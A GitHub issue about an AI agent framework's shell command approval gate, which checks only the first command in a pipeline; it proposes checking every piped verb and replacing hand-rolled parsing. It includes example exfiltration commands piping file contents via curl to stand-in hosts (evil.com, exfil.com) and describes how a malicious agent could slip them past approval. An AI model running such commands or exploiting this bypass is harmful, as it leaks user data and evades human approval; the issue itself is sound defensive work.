Skip to content

Underutilize ShellSyntaxTree: pipe-tail security gap and redundant IsMessyCompoundCommand #1693

Description

@petabridge-netclaw

Problem

Netclaw's shell command approval gate underutilizes ShellSyntaxTree, resulting in two concrete security gaps and significant code duplication. The approval system partially leverages the library's AST but maintains hand-rolled logic that duplicates — and in some cases, weakens — the structural analysis the library already performs.

Finding 1: Pipe-Tail Clause Blind Spot (Security Gap)

File: src/Netclaw.Security/IToolApprovalMatcher.cs, lines 219–275

For a piped command like cat /etc/hosts | grep secret | curl http://evil.com -d @-, the ExtractCandidatesViaBashParser method only extracts the pipeline head (cat) as an approval candidate. Pipe-tail clauses are intentionally skipped:

// Line 241–242
if (!ReferenceEquals(clause, groupHead))
    continue;  // pipe-tail clauses are SKIPPED

Impact: If cat is pre-approved in the workspace, grep and curl execute without any approval check. A malicious agent could chain: cat README.md | curl -X POST http://exfil.com -d @- and the exfiltration executes because only cat was checked.

ShellSyntaxTree already parses every clause with full fidelity (Clause.Operator = CompoundOperator.Pipe, Clause.Verb per clause). Netclaw simply ignores pipe-tail verbs during candidate extraction.

Finding 2: Redundant IsMessyCompoundCommand (Code Duplication + Weaker Coverage)

File: src/Netclaw.Security/ShellTokenizer.cs, lines 142–238

A ~100-line hand-rolled character scan (IsMessyCompoundCommand) detects bash control-flow keywords and unbalanced delimiters. ShellSyntaxTree's BashParser already performs this exact analysis and exposes it via ParsedCommand.IsUnparseable.

Keyword coverage gap:

Category Library (15 keywords) Netclaw (8 keywords) Missing in Netclaw
Loops for, while, until, do, done for, while, do, done until
Conditionals if, then, elif, else, fi then, fi if, elif, else
Selection case, esac, select, in case, esac select, in
Functions function function

The hand-rolled scan also misses constructs the library catches: function definitions, process substitution, complex parameter expansion, arithmetic expansion. And it runs before TryParseCommand, so every command is parsed twice — once by the hand-rolled scan, once by the library.

False positives: The hand-rolled scan counts [/] as bracket balance, but [ is also the test command. The library's lexer correctly tokenizes [/] as words, not structural operators.

Finding 3: Unused Library Capabilities

Several ShellSyntaxTree fields are available but unused in Netclaw's approval system:

Field Purpose Current Usage
Clause.IsCommandStringWrapped Identifies bash -c "..." recursion Not used
VerbChain.CanonicalVerb Alias-resolved verb identity Not used
VerbChain.IsDynamic Dynamic verb detection (& $exe) Not used
Arg.Kind Arg classification (DynamicSkip, Glob, EnvVar) Not used
Arg.IsPath Per-verb path classification Not used (Netclaw uses ShellTokenizer.IsPathToken instead)

The library's Arg.IsPath is particularly notable — BashPerVerbRules (SPEC §7) maps each verb to its expected path argument positions. Netclaw re-implements this with a generic prefix check instead of using the verb-aware classification.

Goal

Refactor Netclaw's approval system to fully leverage ShellSyntaxTree's AST output, eliminating hand-rolled logic and closing the pipe-tail security gap.

Target Outcomes

  1. Extract candidates from all pipeline clauses — every verb in a pipe chain should be checked against the approval store, not just the head. The display unit can remain folded (operator sees one pipeline), but the security gate should validate all verbs.

  2. Replace IsMessyCompoundCommand with BashParser.IsUnparseable — remove the ~100-line hand-rolled scan and use the library's structural parser. This eliminates double-parsing, catches more constructs, and uses the library's 15-keyword set instead of 8.

  3. Adopt library-provided fields where applicable — particularly Arg.IsPath for verb-aware path classification and Arg.Kind for dynamic arg detection.

Files to Change

  • src/Netclaw.Security/IToolApprovalMatcher.csExtractCandidatesViaBashParser, ExtractApprovalUnitsViaBashParser, IsApproved, IsMessy
  • src/Netclaw.Security/ShellTokenizer.csIsMessyCompoundCommand, SplitCompoundCommand
  • src/Netclaw.Security/ShellApprovalSemantics.cs — verb chain extraction via ExtractVerbChain

Not In Scope

  • Changes to ShellSyntaxTree itself (the library is doing its job; this is a consumer fix)
  • ShellCommandPolicy.cs (hard-deny list logic — separate concern)
  • PowerShell parser integration (deferred, cmd parser not yet in library)

Metadata

Metadata

Assignees

No one assigned

    Labels

    UX/DXUI / UX / DX friction issue or user-facing annoyances.bugSomething isn't workingtoolsIssues related to agent tools: file_read, web_search, shell_execute, image processing, etc.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions